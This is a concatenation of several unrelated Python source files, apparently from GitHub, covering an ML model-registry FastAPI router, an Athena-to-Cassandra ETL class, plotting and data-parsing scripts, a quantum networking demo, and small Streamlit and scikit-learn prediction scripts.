api_calls_result.is_success())\n\n # Get signature & input example\n if model_version == 0:\n signature = result.data.tags.get(\"signature\")\n input_example = result.data.tags.get(\"input_example\")\n else:\n signature_result = MLflowService.get_model_signature(model_name, model_version, result.data.latest_versions[0])\n signature = signature_result.data if signature_result.is_success() else None\n\n input_example_result = MLflowService.get_input_example(model_name, model_version, result.data.latest_versions[0])\n input_example = input_example_result.data if input_example_result.is_success() else None\n\n print(f\"[DEBUG] signature_result.is_success():\", signature_result.is_success())\n print(f\"[DEBUG] input_example_result.is_success():\", input_example_result.is_success())\n\n\n # TODO get metrics from model version\n metrics = json.loads(result.data.tags.get(\"metrics\")) if result.data.tags.get(\"metrics\") else None\n # TODO get parameters from model version\n parameters = json.loads(result.data.tags.get(\"params\")) if result.data.tags.get(\"params\") else None\n\n likes_dict = {\n 'count': 0,\n 'has_liked_model': False\n }\n\n model_likes_result = ModelLikeService.get_model_likes(model_name=model_name,\n count_only=True)\n likes_dict['count'] = model_likes_result.data if model_likes_result.is_success() else 0\n likes_dict['has_liked_model'] = False\n\n # Check if user liked model\n # ...\n\n likes = ml_model_schema.Likes(**likes_dict)\n\n # Get comment count\n comment_count = ModelCommentService.get_model_comments(model_name=model_name, count_only=True)\n comment_count = comment_count.data if comment_count.is_success() else 0\n\n # Get GitHub repo's README.md\n raw_readme = None\n if github_repo_readme_url:\n try:\n raw_readme = requests.get(f'https://{github_repo_readme_url}').text\n except:\n raw_readme = None\n\n # Get model's cover photo\n cover_photo = None\n try:\n cover_photo = ModelCoverUploadService.get_model_cover_photo(model_name)\n except:\n cover_photo = None\n\n # Set Result's data property\n result.data = ml_model_schema.MlModelPage(name=model_name,\n version=model_version,\n metrics=metrics,\n parameters=parameters,\n tags=result.data.tags,\n likes=likes,\n comment_count=comment_count,\n signature=signature,\n input_example=input_example,\n api_calls=api_calls,\n creation_time=result.data.creation_timestamp,\n last_update_time=result.data.last_updated_timestamp,\n description=result.data.description,\n user=user,\n hashtags=hashtags,\n github_repo=github_repo,\n github_repo_files_url=github_repo_files_url,\n github_repo_readme_url=github_repo_readme_url,\n model_card=raw_readme,\n cover_photo=cover_photo).dict()\n\n else:\n response.status_code = result.get_status_code()\n\n # Return response\n return result.to_dict()\n\n\n# Update model version\n@router.post('/models/create', status_code=200)\ndef create_model(response: Response,\n model: ml_model_schema.MlModelCreate,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n result = MLflowService.create_registered_model(current_user.data.username, model.name, description=model.description)\n\n invalid_result = Result(\n Result.FAIL,\n '#key# invalid. Please enter a valid JSON object.',\n Result.NOT_ACCEPTABLE\n )\n has_error: bool = False\n\n if result.is_success():\n # Validate model's data\n if model.metrics is not None and not Validation.is_valid_json(model.metrics):\n # Metrics\n has_error = True\n invalid_result.message = invalid_result.message.replace('#key#', 'Metrics are')\n elif model.parameters is not None and not Validation.is_valid_json(model.parameters):\n # Parameters\n has_error = True\n invalid_result.message = invalid_result.message.replace('#key#', 'Parameters are')\n elif model.input_example is not None and not Validation.is_valid_json(model.input_example):\n # Input example\n has_error = True\n invalid_result.message = invalid_result.message.replace('#key#', 'Input example is')\n elif model.signature is not None and not Validation.is_valid_json(model.signature):\n # Signature\n has_error = True\n invalid_result.message = invalid_result.message.replace('#key#', 'Signature is')\n elif model.github_repo is not None and not Validation.is_github_repo_valid(model.github_repo):\n # GitHub repository\n has_error = True\n invalid_result.message = 'GitHub repository URL is invalid. URL should look something like: github.com/github_username/github_project'\n\n if has_error:\n response.status_code = invalid_result.get_status_code()\n return invalid_result.to_dict()\n \n if model.metrics:\n _ = MLflowService.set_metrics(current_user.data.username, model_name=model.name, metrics=model.metrics)\n if model.parameters:\n _ = MLflowService.set_params(current_user.data.username, model_name=model.name, params=model.parameters)\n if model.github_repo:\n _ = MLflowService.set_github_repo(current_user.data.username, model_name=model.name, url=model.github_repo)\n if model.input_example:\n _ = MLflowService.set_input_example(current_user.data.username, model_name=model.name, input_example=model.input_example)\n if model.signature:\n _ = MLflowService.set_signature(current_user.data.username, model_name=model.name, signature=model.signature)\n else:\n response.status_code = result.get_status_code()\n\n return result.to_dict()\n\n\n@router.post('/models/metrics/{model_name}', status_code=200)\ndef set_model_metrics(model_name: str,\n metrics: ml_model_schema.MlModelMetricsSet,\n response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n \"\"\"Set model metrics\"\"\"\n result = MLflowService.set_metrics(current_user.data.username, model_name, metrics=metrics.metrics)\n\n return result.to_dict()\n\n\n@router.post('/models/github-repo/{model_name}', status_code=200)\ndef set_github_repo(model_name: str,\n url: ml_model_schema.MlModelGitHubSet,\n response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n \"\"\"Set model github repo\"\"\"\n result = MLflowService.set_github_repo(current_user.data.username, model_name, url=url.url)\n\n return result.to_dict()\n\n\n@router.post('/models/parameters/{model_name}', status_code=200)\ndef set_model_parameters(model_name: str,\n parameters: ml_model_schema.MlModelParametersSet,\n response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n \"\"\"Set model parameters\"\"\"\n result = MLflowService.set_params(current_user.data.username, model_name, parameters=parameters.parameters)\n\n return result.to_dict()\n\n@router.post('/models/input_example/{model_name}', status_code=200)\ndef set_model_input_example(model_name: str,\n input_example: ml_model_schema.MlModelInputExampleSet,\n response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n \"\"\"Set model input example\"\"\"\n result = MLflowService.set_input_example(current_user.data.username, model_name, input_example=input_example.input_example)\n\n return result.to_dict()\n\n@router.post('/models/signature/{model_name}', status_code=200)\ndef set_model_signature(model_name: str,\n signature: ml_model_schema.MlModelSignatureSet,\n response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n \"\"\"Set model signature\"\"\"\n result = MLflowService.set_signature(current_user.data.username, model_name, signature=signature.signature)\n\n return result.to_dict()\n\n\n# Update model version\n@router.put('/models/{model_name}', status_code=200)\ndef update_model(model_name: str,\n edit_values: ml_model_schema.MlModelEdit,\n response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n \"\"\"Update model\n\n Example cURL:\n curl -X PUT \"http://localhost:8000/api/v0/models/ElasticNet\" -H 'Authorization: Bearer <auth_token>' \\\n -H \"accept: application/json\" -H \"Content-Type: application/json\" \\\n -d \"{\\\"name\\\":\\\"<model_name>\\\",\\\"description\\\":\\\"Some description\\\"}\"\n \"\"\"\n\n # Update model\n updated_model_result = MLflowService.update_model_description(model_name=model_name,\n username=current_user.data.username,\n description=edit_values.description)\n\n if updated_model_result.is_fail():\n response.status_code = updated_model_result.get_status_code()\n\n invalid_result = Result(\n Result.FAIL,\n '#key# invalid. Please enter a valid JSON object.',\n Result.NOT_ACCEPTABLE\n )\n has_error: bool = False\n\n # Validate model's data\n if edit_values.metrics is not None and not Validation.is_valid_json(edit_values.metrics):\n # Metrics\n has_error = True\n invalid_result.message = invalid_result.message.replace('#key#', 'Metrics are')\n elif edit_values.parameters is not None and not Validation.is_valid_json(edit_values.parameters):\n # Parameters\n has_error = True\n invalid_result.message = invalid_result.message.replace('#key#', 'Parameters are')\n elif edit_values.input_example is not None and not Validation.is_valid_json(edit_values.input_example):\n # Input example\n has_error = True\n invalid_result.message = invalid_result.message.replace('#key#', 'Input example is')\n elif edit_values.signature is not None and not Validation.is_valid_json(edit_values.signature):\n # Signature\n has_error = True\n invalid_result.message = invalid_result.message.replace('#key#', 'Signature is')\n elif edit_values.github_repo is not None and not Validation.is_github_repo_valid(edit_values.github_repo):\n # GitHub repository\n has_error = True\n invalid_result.message = 'GitHub repository URL is invalid. URL should look something like: github.com/github_username/github_project'\n\n if has_error:\n response.status_code = invalid_result.get_status_code()\n return invalid_result.to_dict()\n\n MLflowService.set_metrics(current_user.data.username, model_name=model_name, metrics=edit_values.metrics) if edit_values.metrics else MLflowService.delete_metrics(current_user.data.username, model_name)\n MLflowService.set_params(current_user.data.username, model_name=model_name, params=edit_values.parameters) if edit_values.parameters else MLflowService.delete_params(current_user.data.username, model_name)\n MLflowService.set_github_repo(current_user.data.username, model_name=model_name, url=edit_values.github_repo) if edit_values.github_repo else MLflowService.delete_github_repo(current_user.data.username, model_name)\n MLflowService.set_input_example(current_user.data.username, model_name=model_name, input_example=edit_values.input_example) if edit_values.input_example else MLflowService.delete_input_example(current_user.data.username, model_name)\n MLflowService.set_signature(current_user.data.username, model_name=model_name, signature=edit_values.signature) if edit_values.signature else MLflowService.delete_signature(current_user.data.username, model_name)\n\n return updated_model_result.to_dict()\n\n\n# Delete model version\n@router.delete('/models/{model_name}', status_code=200)\ndef delete_model_version(model_name: str, model_version: int, response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n \"\"\"Delete model version\n \"\"\"\n result = MLflowService.delete_model_version(username=current_user.data.username,\n model_name=model_name,\n model_version=model_version)\n\n if result.is_fail():\n response.status_code = result.get_status_code()\n\n return result.to_dict()\n\n\n@router.post('/models/{model_name}/hashtags', status_code=200)\ndef add_model_hashtag(model_name: str,\n hashtag: HashtagSchema.HashtagUpdateBase,\n response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n '''\n Create model hashtag\n '''\n\n result = HashtagService.add_model_hashtag(model_name=model_name, value=hashtag.value, key=hashtag.key)\n\n if result.is_fail():\n response.status_code = result.get_status_code()\n\n return result.to_dict()\n\n\n@router.delete('/models/{model_name}/hashtags/{hashtag_id}', status_code=200)\ndef delete_model_hashtag(model_name: str,\n hashtag_id: int,\n response: Response,\n current_user: UserSchema.UserBase = Depends(AuthMiddleware.get_current_user)):\n '''\n Deletes model hashtag\n '''\n\n result = HashtagService.delete_model_hashtag(model_name=model_name, hashtag_id=hashtag_id)\n\n if result.is_fail():\n response.status_code = result.get_status_code()\n\n return result.to_dict()\n\n\n@router.post('/predict/{model_name}')\nasync def predict(model_name: str,\n prediction_req: PredictionRequest,\n response: Response,\n current_user=Depends(AuthMiddleware.get_current_user)):\n '''Make prediction using model\n\n Request example: \n curl -X POST \"http://localhost:8000/api/v0/predict/ElasticNet\" \\\n -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJibGMiLCJleHAiOjE2MjY4MTY0MTl9.5LhKKL2gyxrGgF2XHo2QjMcLCQ2ptwRtNOqcPp-qdLk' \\\n -H 'accept: application/json' \\\n -d '{\"columns\": [\"fixed acidity\",\"volatile acidity\",\"citric acid\",\"residual sugar\",\"chlorides\",\"free sulfur dioxide\",\"total sulfur dioxide\",\"density\",\"pH\",\"sulphates\",\"alcohol\"], \"index\": [0, 1], \"data\": [[7,0.27,0.36,20.7,0.045,45,170,1.001,3,0.45,8.8], [7,0.27,0.36,20.7,0.045,45,170,1.001,3,0.45,8.8]]}'\n '''\n prediction_json = json.loads(prediction_req.json())\n batch_size = len(prediction_json['data'])\n\n if batch_size > 10:\n result = Result(\n Result.FAIL,\n 'Failed to perform prediction. Batch size is too big!',\n Result.NOT_ACCEPTABLE\n )\n response.status_code = result.get_status_code()\n return result.to_dict()\n\n # Get model\n registered_model_result = MLflowService.get_model(model_name=model_name)\n if registered_model_result.is_fail() or len(registered_model_result.data.latest_versions) == 0:\n return Result(Result.SUCCESS,\n f\"Failed to get deployment endpoint for model with name '{model_name}'. {registered_model_result}\",\n Result.NOT_FOUND)\n model_version = registered_model_result.data.latest_versions[0].version\n\n # Predict\n # NOTE this is horrible; reuse token (don't know how...)\n access_token, _ = AuthMiddleware.create_access_token(data={'sub': current_user.data.username},\n expires_delta=int(os.getenv('ACCESS_TOKEN_EXPIRATION')))\n try:\n async with aiohttp_session.post(\n f'http://{PREDICTION_SERVER}:{PREDICTION_SERVER_PORT}/api/v0/serving/predict/{model_name}/{model_version}',\n headers={'Authorization': f'Bearer {access_token}'},\n json=prediction_json) as resp:\n predict_result = await resp.text()\n print(f'[DEBUG] predict_result: {predict_result}')\n\n result = json.loads(predict_result)\n\n # Log api call\n if result['status'] == Result.SUCCESS:\n api_call_create = ApiCallSchema.ApiCallCreate(user_id=current_user.data.id, model_name=model_name,\n model_version=model_version)\n api_calls = ApiCallService.create_batch(api_call_create, batch_size)\n\n if api_calls.is_fail():\n response.status_code = api_calls.get_status_code()\n return api_calls.to_dict()\n\n return result\n else:\n result_fail = Result(\n Result.FAIL,\n f'Could not perform prediction using model ({model_name}, {model_version}). An unexpected error occured.',\n Result.EXCEPTION\n )\n response.status_code = result_fail.get_status_code()\n return result_fail.to_dict()\n\n except Exception as e:\n print(f'[EXCEPTION] Could not perform prediction using model ({model_name}, {model_version}). Exception: {e}')\n result_fail = Result(Result.FAIL,\n f'Could not perform prediction using model ({model_name}, {model_version}). An unexpected error occured.',\n Result.EXCEPTION)\n response.status_code = result_fail.get_status_code()\n\n return result_fail.to_dict()\n\n\n# Get model version usage\n@router.get('/models/{model_name}/usage')\nasync def get_model_usage(model_name: str, response: Response, sample: str = 'D'):\n ''' Get total and sampled API calls for model version - sample is a query param\n \n :param model_name: the name of the model\n :param model_version: the version of the model\n :param sample: the the sample to which to sample count\n\n :return: a json object with total and sampled api calls \n Example:\n Get usage by 1 minute interval\n curl http:/localhost:8000/api/v0/model_usage/ElasticNet/1/?sample=1Min\n '''\n sampled_count = ApiCallService.count_by(model_name, sample=sample)\n\n if sampled_count.is_fail():\n response.status_code = sampled_count.get_status_code()\n return sampled_count.to_dict()\n\n total_count = 0\n sampled_count_json = json.loads(sampled_count.data['sampled_count'])\n for k in sampled_count_json:\n total_count += sampled_count_json[k]\n\n results = {'count': total_count,\n 'sampled_count': sampled_count.data['sampled_count'],\n 'distinct_users_count': sampled_count.data['distinct_users_count']}\n\n return Result(\n Result.SUCCESS,\n 'Successfully fetched model usage',\n results\n ).to_dict()\n\n\n# Get model versions\n@router.get('/versions/{model_name}', status_code=200)\ndef get_model_versions(model_name: str, response: Response):\n result = MLflowService.list_model_versions(model_name=model_name)\n model_versions = []\n\n if result.is_fail():\n response.status_code = result.get_status_code()\n return result.to_dict()\n\n for model_version in result.data:\n model_versions.append(Format.format_model_version(model_version))\n\n result.data = model_versions\n\n return result.to_dict()\n\n# Upload cover photo\n@router.post('/models/{model_name}/cover', status_code=200)\ndef upload_cover_photo(model_name: str, response: Response, cover_photo: UploadFile = File(...)):\n # Get cover photo's path\n full_cover_photo_path = ModelCoverUploadService.get_model_cover_photo_path(model_name)\n\n # Check if file extension is valid\n if not ImageUploadService.is_valid_extension(content_type=cover_photo.content_type):\n result = Result(\n Result.FAIL,\n 'Invalid file extension',\n Result.NOT_ACCEPTABLE\n )\n response.status_code = result.get_status_code()\n return result.to_dict()\n\n # Check if model exists\n model = MLflowService.get_model(model_name=model_name)\n\n if model.is_fail():\n response.status_code = model.get_status_code()\n return model.to_dict()\n\n # Save cover photo\n try:\n utilities.clear_dir(full_cover_photo_path)\n utilities.create_dir(full_cover_photo_path)\n utilities.save_uploaded_file(full_cover_photo_path, cover_photo)\n except Exception:\n result = Result(\n Result.FAIL,\n 'An error occurred while saving cover photo',\n Result.EXCEPTION\n )\n response.status_code = result.get_status_code()\n return result.to_dict()\n\n return Result(\n Result.SUCCESS,\n 'Successfully saved cover photo'\n ).to_dict()\n","repo_name":"shippedbrain/shipped-brain-backend","sub_path":"api/src/routers/ml_models.py","file_name":"ml_models.py","file_ext":"py","file_size_in_byte":32093,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"33471336830","text":"class CovidFormat:\n\n # Template for plot visuals\n covid_template = dict(\n font=dict(\n #family=\"Courier New, monospace\",\n size=15,\n color=\"Black\"\n ),\n height=600,\n width=900,\n\n )\n\n # Template for handling slider functionality for plots and providing buttons to alter time-period range of data\n slider_template = dict(\n rangeselector=dict(\n buttons=list([\n dict(count=7.5,\n label=\"Weekly\",\n step=\"day\",\n stepmode=\"todate\"),\n dict(count=14,\n label=\"Biweekly\",\n step=\"day\",\n stepmode=\"backward\"),\n dict(count=1,\n label=\"Monthly\",\n step=\"month\",\n stepmode=\"backward\"),\n dict(count=1,\n label=\"Yearly\",\n step=\"year\",\n stepmode=\"todate\"),\n dict(label=\"All\",step=\"all\")\n ])\n ),\n rangeslider=dict(\n visible=True\n ),\n type=\"date\"\n )\n\n","repo_name":"MatthewBailey97/Georgia_Covid","sub_path":"formatting.py","file_name":"formatting.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34459989844","text":"\"\"\"\nhandle ETL of data from Athena to Cassandra\n\"\"\"\nfrom typing import Optional, List\nfrom dataclasses import dataclass\n\nfrom hip_data_tools.apache.cassandra import CassandraConnectionSettings\nfrom hip_data_tools.aws.athena import AthenaUtil\nfrom hip_data_tools.aws.common import AwsConnectionSettings, AwsConnectionManager\nfrom hip_data_tools.etl.s3_to_cassandra import S3ToCassandraSettings, S3ToCassandra\n\n\n@dataclass\nclass AthenaToCassandraSettings:\n \"\"\"S3 to Cassandra ETL settings\"\"\"\n source_database: str\n source_table: str\n source_connection_settings: AwsConnectionSettings\n destination_keyspace: str\n destination_table: str\n destination_table_primary_keys: List[str]\n destination_table_partition_key: Optional[List[str]]\n destination_connection_settings: CassandraConnectionSettings\n destination_table_options_statement: str = \"\"\n destination_batch_size: int = 1\n\n\nclass AthenaToCassandra(S3ToCassandra):\n \"\"\"\n Class to transfer parquet data from s3 to Cassandra\n Args:\n settings (AthenaToCassandraSettings): the settings around the etl to be executed\n \"\"\"\n\n def __init__(self, settings: AthenaToCassandraSettings):\n self.__settings = settings\n self._athena = AthenaUtil(\n database=self.__settings.source_database,\n conn=AwsConnectionManager(self.__settings.source_connection_settings))\n (bucket, key) = self._athena.get_table_data_location(self.__settings.source_table)\n super().__init__(S3ToCassandraSettings(\n source_bucket=bucket,\n source_key_prefix=key,\n source_connection_settings=self.__settings.source_connection_settings,\n destination_keyspace=self.__settings.destination_keyspace,\n destination_table=self.__settings.destination_table,\n destination_table_primary_keys=self.__settings.destination_table_primary_keys,\n destination_table_partition_key=self.__settings.destination_table_partition_key,\n destination_table_options_statement=self.__settings.destination_table_options_statement,\n destination_batch_size=self.__settings.destination_batch_size,\n destination_connection_settings=self.__settings.destination_connection_settings,\n ))\n","repo_name":"hipagesgroup/data-tools","sub_path":"hip_data_tools/etl/athena_to_cassandra.py","file_name":"athena_to_cassandra.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"} +{"seq_id":"27928056617","text":"import os, re, sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nplt.style.use(\"ggplot\")\nplt.rcParams[\"font.size\"] = 12\nplt.rcParams['text.latex.preamble']=[r\"\\usepackage{amsmath}\"]\n\ndatasets = [\"amazon-photo\", \"pubmed\", \"amazon-computers\", \"coauthor-physics\", \"flickr\"]\n# datasets = [\"amazon-computers\"]\nmodes = [\"cluster\", \"graphsage\"]\nalgs = [\"gcn\", \"ggnn\", \"gat\", \"gaan\"]\n# algs = [\"gat\"]\n\ncluster_batchs = [15, 45, 90, 150, 375, 750]\n\ngraphsage_batchs = {\n 'amazon-photo': [77, 230, 459, 765, 1913, 3825],\n 'pubmed': [198, 592, 1184, 1972, 4930, 9859],\n 'amazon-computers': [138, 413, 826, 1376, 3438, 6876],\n 'coauthor-physics': [345, 1035, 2070, 3450, 8624, 17247],\n 'flickr': [893, 2678, 5355, 8925, 22313, 44625]\n}\n\nxticklabels = ['1%', '3%', '6%', '10%', '25%', '50%', 'FULL']\n\ndir_in = \"log_fix_epoch\"\ndir_out = \"res_fix_epoch\"\n\nfor data in datasets:\n if not os.path.exists(dir_out + \"/\" + data):\n os.makedirs(dir_out + \"/\" + data)\n \n\"\"\"\n目标:绘制不同BatchSize下,精度随Batch Nums的变化结果\n\n数据收集:\n算法, 采样方法,数据集,time/acc\n\n绘制图像:\n算法+采样方法+time/acc\ndf.index: 图像的横坐标\ndf.columns: 图像中的不同的线(不同的BatchSize)\n\"\"\"\nfor data in datasets:\n for alg in algs:\n for mode in modes:\n print(data, alg, mode)\n flag = False\n # 将数据存储到csv文件\n df_times, df_accs = {}, {}\n if mode == \"cluster\":\n for i, cs in enumerate(cluster_batchs):\n file_path = os.path.join(dir_in, '_'.join([mode, alg, data, str(cs)]) + \".log\")\n if not os.path.exists(file_path):\n flag = True\n break\n df_times[xticklabels[i]], df_accs[xticklabels[i]] = [], []\n # 读取日志文件,获取bs_times, bs_accs: dims=100\n with open(file_path) as f:\n for line in f:\n match_line = re.match(r\"Batch:.*best_test_acc: (.*), cur_use_time: (.*)s\", line)\n if match_line:\n df_accs[xticklabels[i]].append(float(match_line.group(1)))\n df_times[xticklabels[i]].append(float(match_line.group(2)))\n if len(df_times[xticklabels[i]]) != 100:\n flag = True\n break \n elif mode == \"graphsage\":\n for i, gs in enumerate(graphsage_batchs[data]):\n file_path = os.path.join(dir_in, '_'.join([mode, alg, data, str(gs)]) + \".log\")\n df_times[xticklabels[i]], df_accs[xticklabels[i]] = [], []\n # 读取日志文件,获取bs_times, bs_accs: dims=100\n if not os.path.exists(file_path):\n flag = True\n break\n with open(file_path) as f:\n for line in f:\n match_line = re.match(r\"Batch:.*best_test_acc: (.*), cur_use_time: (.*)s\", line)\n if match_line:\n df_accs[xticklabels[i]].append(float(match_line.group(1)))\n df_times[xticklabels[i]].append(float(match_line.group(2)))\n if len(df_times[xticklabels[i]]) != 100:\n flag = True\n break\n\n if flag: continue\n\n # 获取full\n file_path = os.path.join(\"batch_acc_cum_fix_batch\", '_'.join([mode, alg, data]) + \"_full.log\")\n # 读取日志文件,获取bs_times, bs_accs: dims=100\n with open(file_path) as f:\n df_times['FULL'], df_accs['FULL'] = [], []\n for line in f:\n match_line = re.match(r\"Batch:.*best_test_acc: (.*), cur_use_time: (.*)s\", line)\n if match_line:\n df_accs['FULL'].append(float(match_line.group(1)))\n df_times['FULL'].append(float(match_line.group(2)))\n\n # 画精度关于时间的图像\n fig, ax = plt.subplots()\n ax.set_ylabel('Accucary')\n ax.set_xlabel(\"use time(s)\")\n \n category_colors = plt.get_cmap('RdYlGn')(\n np.linspace(0.15, 0.85, len(xticklabels))) \n \n for key, c in zip(xticklabels, category_colors):\n ax.plot(df_times[key], df_accs[key], color=c, label=key)\n \n ax.legend()\n fig.tight_layout() # 防止重叠\n fig.savefig(dir_out + \"/\" + data + \"/\" + alg + \"_\" + mode + \"_accs_times.png\")\n plt.close() \n \n\n ","repo_name":"AugF/pyg-gnns","sub_path":"paper_exp6_sampling_acc/handle_sampling_acc_fix_epoch.py","file_name":"handle_sampling_acc_fix_epoch.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"5202810093","text":"import streamlit as st\r\nimport pickle\r\nimport numpy as np\r\nfrom PIL import Image\r\nimage = Image.open('FuelPredx_logo.jpg')\r\n\r\ndef load_model():\r\n with open('saved_steps.pkl', 'rb') as file:\r\n data = pickle.load(file)\r\n return data\r\n\r\n\r\ndata = load_model()\r\n\r\nregressor = data[\"model\"]\r\n\r\n\r\ndef show_predict_page():\r\n st.title(\"FuelPredx : Software for Tractor Fuel Consumption Prediction\")\r\n st.sidebar.image(image, use_column_width=True)\r\n st.write(\"\"\"### We need some information to predict the Fuel Consumption\"\"\")\r\n\r\n Tractor_PTO = st.number_input('Enter PTO Power (kW)')\r\n Engine_Speed = st.number_input('Enter Engine Speed (RPM)')\r\n Speed_Depression = st.number_input('Enter Speed Depression (RPM)')\r\n\r\n ok = st.button(\"Calculate Fuel Consumption\")\r\n if ok:\r\n X = np.array([[Tractor_PTO, Engine_Speed, Speed_Depression]])\r\n X = X.astype(float)\r\n\r\n salary = regressor.predict(X)\r\n st.subheader(f\"The estimated Fuel Consumption(L/h) is {salary[0]:.2f}\")\r\n\r\n\r\n\r\n","repo_name":"Ambuj-coder1997/FUEL-CONSUMPTION_XGBOOST","sub_path":"predict_page.py","file_name":"predict_page.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34777199940","text":"with open('../Dane_2203/liczby.txt') as f:\n liczby = [[int(j) for j in i.split()] for i in f.readlines()]\n\n\ndef prime(n):\n if n < 2: return False\n if n < 4: return True\n for i in range(2, n // 2 + 1):\n if n % i == 0:\n return False\n return True\n\ndef nwd(a, b):\n while a != b:\n if a > b:\n a -= b\n else:\n b -= a\n return a\n\n\ndef potega(a, x, M = None):\n if x == 0:\n \treturn 1\n if x % 2 == 0:\n \ttmp = potega(a, x // 2, M)\n \treturn (tmp * tmp) % M\n if x % 2 == 1:\n \ttmp = potega(a, (x - 1) // 2, M)\n \treturn (a * tmp * tmp) % M\n\n\ncount = 0\nfor l in liczby:\n M = l[0]\n if prime(M):\n count += 1\n\nprint(count)\n\n\ncount = 0\nfor l in liczby:\n M = l[0]\n a = l[1]\n if nwd(M, a) == 1:\n count += 1\n\nprint(count)\n\n\ncount = 0\nfor l in liczby:\n M, a, b = l\n\n for x in range(0, M):\n if potega(a, x, M) == b:\n count += 1\n break\n\nprint(count)\n","repo_name":"loudsheep/matura","sub_path":"informatyka/przykładowy_2023/zad3/rozw.py","file_name":"rozw.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27322330391","text":"import sys\nimport json\nfrom cqc.pythonLib import CQCConnection\n\n\ndef main(nr_runs):\n meas_outcomes = {}\n\n # Initialize the connection\n with CQCConnection(\"Bob\") as Bob:\n\n for _ in range(nr_runs):\n\n # Create an EPR pair\n q = Bob.recvEPR()\n\n # Get the identifier of this EPR pair such that Alice can relate the measuement outcomes to hers\n sequence_nr = q.get_entInfo().id_AB\n\n if (sequence_nr % 3) == 0:\n # Measure in Z\n pass\n elif (sequence_nr % 3) == 1:\n # Measure in X\n q.H()\n else:\n # Measure in Y\n q.K()\n\n m = q.measure()\n meas_outcomes[sequence_nr] = m\n\n # Encode the measurement outcomes to bytes, such that we can send them\n msg = json.dumps(meas_outcomes).encode(\"utf-8\")\n\n # Send the measurement outcomes to Alice\n Bob.sendClassical(name=\"Alice\", msg=msg)\n\n\nif __name__ == \"__main__\":\n try:\n nr_runs = int(sys.argv[1])\n except Exception:\n nr_runs = 500\n if nr_runs > 1000:\n raise ValueError(\"Number of EPR pairs for this example is currently restricted to less than 1000\")\n main(nr_runs)\n","repo_name":"SoftwareQuTech/CQC-Python","sub_path":"examples/pythonLib/QBER/bobTest.py","file_name":"bobTest.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"18332759273","text":"from app.config import project_id\nimport json\n\n\ndef publish_topic(topic, message):\n from google.cloud import pubsub_v1\n\n publisher = pubsub_v1.PublisherClient()\n topic_path = publisher.topic_path(project_id, topic)\n message_data = json.dumps(message).encode('utf-8')\n future = publisher.publish(topic_path, data=message_data)\n future.result()\n print(f'Published Pub/Sub topic {topic} with message: {json.dumps(message)}')\n","repo_name":"Heonozis/gcp-serverless-python","sub_path":"app/common/lib/publish_topic.py","file_name":"publish_topic.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42839210816","text":"import json\n\nimport xmltodict\n\nsra_file = open('input/gisaid-sra.xml')\n\nlines_to_keep = []\nsets_kept = 0\ntag_counter = 0\ntag = 'EXPERIMENT_PACKAGE'\nin_tag = False\nprocess_chunk = False\nfor line in sra_file:\n if '<%s>' % tag in line:\n in_tag = True\n tag_counter += 1\n if in_tag:\n lines_to_keep.append(line)\n if '</%s>' % tag in line:\n in_tag = False\n tag_counter -= 1\n if tag_counter == 0:\n process_chunk = True\n if process_chunk:\n process_chunk = False\n xml = ''.join(lines_to_keep)\n xml_filename = 'output/sra-parsing/set-%d.xml' % sets_kept\n with open(xml_filename, 'w') as xml_file:\n xml_file.write(xml)\n json_filename = 'output/sra-parsing/set-%d.json' % sets_kept\n with open(json_filename, 'w') as json_file:\n as_dict = xmltodict.parse(xml)\n json_file.write(json.dumps(as_dict))\n sets_kept += 1\n print('Wrote %d lines to %s...' % (len(lines_to_keep), json_filename))\n tag_counter = 0\n lines_to_keep = []\nsra_file.close()\n","repo_name":"veg/biosampleMeta","sub_path":"scripts/gisaid-sra-scrape.py","file_name":"gisaid-sra-scrape.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16257704126","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 16 23:00:50 2022\n\n@author: aiatul\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm\nfrom sklearn.svm import SVC\n\ndataset = pd.read_csv(\"diabetes.csv\")\n\nX = dataset.drop(columns = 'Outcome', axis=1)\nY = dataset['Outcome']\nscaler = StandardScaler()\nscaler.fit(X)\nstandardized_data = scaler.transform(X)\nx = standardized_data\ny = dataset['Outcome']\n\nx_train, x_test, y_train, y_test = train_test_split(x,y, test_size = 0.2, stratify=y, 